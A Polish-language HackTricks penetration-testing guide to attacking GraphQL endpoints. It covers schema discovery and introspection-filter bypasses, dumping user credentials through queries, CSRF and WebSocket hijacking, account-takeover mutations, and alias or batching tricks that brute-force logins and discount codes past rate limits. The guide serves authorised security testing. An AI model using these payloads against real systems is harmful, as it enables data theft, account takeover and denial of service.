hacktricks/network-services-pentesting/pentesting-web/graphql.md

29 KiB

GraphQL

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie

GraphQL jest wyróżniany jako efektywna alternatywa dla interfejsu API REST, oferując uproszczone podejście do pobierania danych z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich wymaganych informacji za pomocą jednego żądania. Ten proces usprawnia znacznie pracę programistów, zmniejszając złożoność ich procesów pobierania danych.

GraphQL a Bezpieczeństwo

Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe podatności bezpieczeństwa. Istotnym punktem do zauważenia jest to, że GraphQL nie zawiera domyślnie mechanizmów uwierzytelniania. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na programistach. Bez odpowiedniego uwierzytelnienia punkty końcowe GraphQL mogą ujawniać poufne informacje nieuwierzytelnionym użytkownikom, stanowiąc znaczne ryzyko bezpieczeństwa.

Ataki Brute Force na Katalogi i GraphQL

Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie określonych ścieżek w atakach brute force na katalogi. Te ścieżki to:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Zidentyfikowanie otwartych instancji GraphQL pozwala na zbadanie obsługiwanych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych poprzez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które obsługuje schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL dotyczącą introspekcji: GraphQL: Język zapytań dla interfejsów API.

Odcisk palca

Narzędzie graphw00f jest zdolne do wykrywania, który silnik GraphQL jest używany na serwerze, a następnie drukuje przydatne informacje dla audytora bezpieczeństwa.

Uniwersalne zapytania

Aby sprawdzić, czy dany URL jest usługą GraphQL, można wysłać uniwersalne zapytanie, query{__typename}. Jeśli odpowiedź zawiera {"data": {"__typename": "Query"}}, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda polega na polu __typename GraphQL, które ujawnia typ zapytanego obiektu.

query{__typename}

Podstawowa enumeracja

GraphQL zazwyczaj obsługuje GET, POST (x-www-form-urlencoded) i POST(json). Chociaż ze względów bezpieczeństwa zaleca się zezwalać tylko na json, aby zapobiec atakom CSRF.

Introspekcja

Aby użyć introspekcji do odkrywania informacji o schemacie, zapytaj pole __schema. To pole jest dostępne w głównym typie wszystkich zapytań.

query={__schema{types{name,fields{name}}}}

Z tym zapytaniem znajdziesz nazwę wszystkich używanych typów:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Z tym zapytaniem możesz wydobyć wszystkie typy, ich pola i argumenty (oraz typ argumentów). Będzie to bardzo przydatne, aby wiedzieć, jak zapytać bazę danych.

Błędy

Interesujące jest, czy błędy zostaną wyświetlone, ponieważ przyczynią się do uzyskania przydatnych informacji.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Wylicz schemat bazy danych za pomocą introspekcji

{% hint style="info" %} Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy onOperation, onFragment i onField z struktury zapytania. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Zapytanie o inspekcję w linii:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Ostatnia linia kodu to zapytanie graphql, które wyciągnie wszystkie metadane z graphql (nazwy obiektów, parametry, typy...)

Jeśli introspekcja jest włączona, możesz użyć GraphQL Voyager, aby zobaczyć w interfejsie graficznym wszystkie opcje.

Zapytywanie

Teraz, gdy wiemy, jakie informacje są zapisane w bazie danych, spróbujmy wydobyć pewne wartości.

W introspekcji możesz znaleźć który obiekt możesz bezpośrednio zapytać (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "queryType" nazywa się "Query" i że jednym z pól obiektu "Query" jest "flags", który również jest typem obiektu. Dlatego możesz zapytać obiekt flagi.

Zauważ, że typ zapytania "flags" to "Flags", a ten obiekt jest zdefiniowany jak poniżej:

Możesz zobaczyć, że obiekty "Flags" składają się z nazwy i wartości. Następnie możesz uzyskać wszystkie nazwy i wartości flag za pomocą zapytania:

query={flags{name, value}}

Zauważ, że w przypadku obiektu do zapytania będącego typem podstawowym jak string jak w poniższym przykładzie

Możesz po prostu zapytać o to:

query={hiddenFlags}

W innym przykładzie, gdzie wewnątrz obiektu typu "Query" były 2 obiekty: "user" i "users".
Jeśli te obiekty nie wymagają żadnego argumentu do wyszukiwania, można pobrać wszystkie informacje z nich pytając o dane, których chcesz. W tym przykładzie z Internetu można wydobyć zapisane nazwy użytkowników i hasła:

Jednakże, w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten błąd:

Wygląda na to, że w jakiś sposób będzie wyszukiwać używając argumentu "uid" typu Int.
W każdym razie, już wiedzieliśmy, że w sekcji Podstawowa Enumeracja zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Jeśli przeczytasz obrazek dostarczony podczas uruchamiania tego zapytania, zobaczysz, że "user" miał arg "uid" typu Int.

Więc, wykonując lekkie bruteforce uid odkryłem, że dla uid=1 została pobrana nazwa użytkownika i hasło:
query={user(uid:1){user,password}}

Zauważ, że odkryłem, że mogę prosić o parametry "user" i "password", ponieważ jeśli spróbuję szukać czegoś, czego nie ma (query={user(uid:1){noExists}}) otrzymam ten błąd:

Podczas fazy enumeracji odkryłem, że obiekt "dbuser" miał jako pola "user" i "password.

Sztuczka z wyciekiem ciągu zapytań (dzięki @BinaryShadow_)

Jeśli możesz szukać według typu ciągów, np.: query={theusers(description: ""){username,password}} i szukasz pustego ciągu, wtedy wycieknie całe dane. (Zauważ, że ten przykład nie jest związany z przykładem z samouczków, dla tego przykładu załóż, że możesz szukać używając "theusers" według pola typu ciąg "description").

Wyszukiwanie

W tej konfiguracji baza danych zawiera osoby i filmy. Osoby są identyfikowane przez swoje adresy e-mail i imię; filmy przez swoje nazwy i ocenę. Osoby mogą być przyjaciółmi między sobą oraz mieć filmy, co wskazuje na relacje w bazie danych.

Możesz wyszukiwać osoby po imieniu i otrzymywać ich adresy e-mail:

{
searchPerson(name: "John Doe") {
email
}
}

Możesz wyszukiwać osoby po nazwie i otrzymać listę ich subskrybowanych filmów:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Zauważ, jak wskazano na pobranie name z subscribedMovies osoby.

Możesz również wyszukiwać kilka obiektów jednocześnie. W tym przypadku wyszukiwane są 2 filmy:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Lub nawet relacje kilku różnych obiektów za pomocą aliasów:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutacje

Mutacje są używane do wprowadzania zmian po stronie serwera.

W introspekcji można znaleźć zadeklarowane mutacje. Na poniższym obrazku "MutationType" jest nazywany "Mutation", a obiekt "Mutation" zawiera nazwy mutacji (takie jak "addPerson" w tym przypadku):

W tej konfiguracji baza danych zawiera osoby i filmy. Osoby są identyfikowane przez swój adres e-mail i imię; filmy przez swoją nazwę i ocenę. Osoby mogą być przyjaciółmi między sobą oraz mieć przypisane filmy, co wskazuje na relacje w bazie danych.

Mutacja dodająca nowe filmy do bazy danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Zauważ, jak w zapytaniu wskazane są zarówno wartości, jak i typ danych.

Dodatkowo, baza danych obsługuje operację mutacji, o nazwie addPerson, która umożliwia tworzenie osób wraz z ich powiązaniami z istniejącymi przyjaciółmi i filmami. Ważne jest, aby zauważyć, że przyjaciele i filmy muszą istnieć w bazie danych przed ich powiązaniem z nowo utworzoną osobą.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Przeciążanie dyrektyw

Jak wyjaśniono w jednej z podatności opisanych w tym raporcie, przeciążenie dyrektyw polega na wielokrotnym wywołaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie ataku typu DoS.

Łączenie ataków siłowych w 1 żądaniu API

Ta informacja została zaczerpnięta z https://lab.wallarm.com/graphql-batching-attack/.
Uwierzytelnianie poprzez interfejs API GraphQL z równoczesnym wysyłaniem wielu zapytań z różnymi danymi uwierzytelniającymi w celu sprawdzenia go. To klasyczny atak siłowy, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP ze względu na funkcję łączenia zapytań GraphQL. Ten sposób działania zmyli zewnętrzne aplikacje monitorujące częstotliwość, sugerując, że wszystko jest w porządku i nie ma botów próbujących odgadnąć hasła.

Poniżej znajdziesz najprostszą demonstrację żądania uwierzytelniającego aplikacji, z 3 różnymi parami email/hasło jednocześnie. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:

Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły null i odzwierciedliły odpowiednie informacje w sekcji error. Druga mutacja miała poprawne dane uwierzytelniające i odpowiedź zawierała poprawny token sesji uwierzytelniającej.

GraphQL Bez Introspekcji

Coraz więcej punktów końcowych GraphQL wyłącza introspekcję. Jednak błędy, które GraphQL zwraca, gdy otrzymuje nieoczekane żądanie, są wystarczające dla narzędzi takich jak clairvoyance, aby odtworzyć większość schematu.

Co więcej, rozszerzenie Burp Suite GraphQuail obserwuje żądania interfejsu API GraphQL przechodzące przez Burp i tworzy wewnętrzny GraphQL schemat z każdym nowym zapytaniem, które widzi. Może również ujawnić schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w interfejsie API. Aby uzyskać więcej informacji, sprawdź to.

Ładna lista słów do odkrywania encji GraphQL można znaleźć tutaj.

Omijanie obrony przed introspekcją GraphQL

Aby ominąć ograniczenia dotyczące zapytań introspekcyjnych w interfejsach API, skuteczne okazuje się wstawienie specjalnego znaku po słowie kluczowym __schema. Ta metoda wykorzystuje powszechne przeoczenia programistów w wzorcach wyrażeń regularnych, które mają na celu zablokowanie introspekcji poprzez skupienie się na słowie kluczowym __schema. Dodając znaki takie jak spacje, nowe linie i przecinki, które GraphQL ignoruje, ale mogą nie być uwzględnione w wyrażeniach regularnych, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po __schema może ominąć takie zabezpieczenia:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Jeśli nie powiedzie się, rozważ alternatywne metody żądania, takie jak żądania GET lub POST z x-www-form-urlencoded, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.

Spróbuj WebSockets

Jak wspomniano w tym wystąpieniu, sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSockets, ponieważ może to umożliwić ominiecie potencjalnego WAF i sprawić, że komunikacja websocketowa ujawni schemat graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Odkrywanie ujawnionych struktur GraphQL

Kiedy introspekcja jest wyłączona, badanie kodu źródłowego witryny w poszukiwaniu wcześniej załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z karty Sources w narzędziach deweloperskich, co pozwala uzyskać wgląd w schemat API i ujawnić potencjalnie ujawnione wrażliwe zapytania. Polecenia do wyszukiwania w narzędziach deweloperskich to:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF w GraphQL

Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Możesz tam znaleźć kilka punktów końcowych GraphQL skonfigurowanych bez tokenów CSRF.

Zauważ, że zazwyczaj żądania GraphQL są wysyłane za pomocą żądań POST z użyciem Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Jednak większość punktów końcowych GraphQL obsługuje również żądania POST w formacie form-urlencoded:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Dlatego, ponieważ żądania CSRF, takie jak poprzednie, są wysyłane bez żądań wstępnych, możliwe jest wykonanie zmian w GraphQL nadużywając CSRF.

Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi samesite w Chrome to Lax. Oznacza to, że ciasteczko będzie wysyłane tylko z witryny zewnętrznej w żądaniach GET.

Należy pamiętać, że zazwyczaj możliwe jest wysłanie żądania zapytania również jako żądanie GET i token CSRF może nie być weryfikowany w żądaniu GET.

Ponadto, nadużywając ataku XS-Search może być możliwe wyciek treści z punktu końcowego GraphQL nadużywając poświadczeń użytkownika.

Aby uzyskać więcej informacji, sprawdź oryginalny post tutaj.

Przechwytywanie WebSocket między witrynami w GraphQL

Podobnie jak w przypadku podatności CRSF nadużywających GraphQL, możliwe jest również wykonanie przechwycenia WebSocket między witrynami, aby nadużyć uwierzytelnienia z GraphQL z niezabezpieczonymi ciasteczkami i sprawić, by użytkownik wykonał nieoczekiwane działania w GraphQL.

Aby uzyskać więcej informacji, sprawdź:

{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}

Autoryzacja w GraphQL

Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.

Modyfikowanie zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych szczegółów konta ujawnionych.

Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Ominięcie autoryzacji w GraphQL

Łączenie zapytań może ominąć słaby system uwierzytelniania.

W poniższym przykładzie można zobaczyć, że operacja to "forgotPassword" i powinna wykonać tylko związane z nią zapytanie forgotPassword. Można to ominąć dodając zapytanie na końcu, w tym przypadku dodajemy "register" i zmienną użytkownika, aby system zarejestrował nowego użytkownika.

Ominięcie limitów szybkości za pomocą aliasów w GraphQL

W GraphQL aliasy są potężną funkcją, która pozwala nazwać właściwości w sposób jawny podczas wysyłania żądania API. Ta funkcjonalność jest szczególnie przydatna do pobierania wielu instancji tego samego typu obiektu w jednym żądaniu. Aliasy mogą być wykorzystane do pokonania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.

Dla szczegółowego zrozumienia aliasów w GraphQL, zalecane jest skorzystanie z następującego źródła: Aliasy.

Podczas gdy głównym celem aliasów jest zmniejszenie konieczności wielu wywołań API, zidentyfikowano niezamierzone zastosowanie, gdzie aliasy mogą być wykorzystane do przeprowadzania ataków brutalnej siły na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane do zwalczania ataków brutalnej siły poprzez ograniczenie liczby żądań HTTP. Jednakże te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Ponieważ aliasy pozwalają na dodanie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające szybkość.

Rozważ poniższy przykład, który ilustruje, jak zapytania z aliasami mogą być użyte do weryfikacji poprawności kodów rabatowych sklepu. Ta metoda mogłaby ominąć ograniczenia szybkości, ponieważ kompiluje kilka zapytań w jedno żądanie HTTP, potencjalnie umożliwiając weryfikację licznych kodów rabatowych jednocześnie.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Narzędzia

Skanery podatności

Klienci

Automatyczne testy

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: